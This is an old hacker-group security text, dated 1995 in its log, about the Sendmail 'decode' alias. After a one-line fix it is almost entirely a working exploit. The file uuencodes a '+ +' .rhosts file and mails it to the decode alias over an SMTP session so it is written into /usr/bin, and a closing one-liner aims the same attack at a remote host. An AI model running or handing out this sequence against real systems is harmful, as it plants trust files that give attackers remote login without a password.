..:-={{Collaborative Security Information Center}}=-:..
          X-TREME & TECHNOTRONIC Security Collaboration Project
     http://www.technotronic.com  -=©=-  http://www.x-treme.abyss.com


Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode
Just comment it out.
% cat > outfile                  # Lets make our .rhosts file
+ +
^C
% uuencode outfile /usr/bin/.rhosts        
begin 644 /usr/bin/.rhosts           
$*R`K"@``
`
end
% telnet 127.1 25            
Trying 127.0.0.1...
Connected to 127.1.
Escape character is '^]'.
220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12 
-0400 (GMT)
helo                               
250 fred Hello  (localhost), pleased to meet you     # Howz it hangin?
mail from: bin                     
250 bin... Sender ok               
rcpt to: decode                         
250 decode... Recipient ok              
data
354 Enter mail, end with "." on a line by itself
begin 644 /usr/bin/.rhosts  # just type our uuencoded + +
$*R`K"@``
`                                       
end
.
250 Ok                              
quit
221 fred closing connection
Connection closed by foreign host.
% ls -al /usr/bin/.rhosts
-rw-r--r--  1 bin        4 Jul 24 09:34 .rhosts
This is the same as:
% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com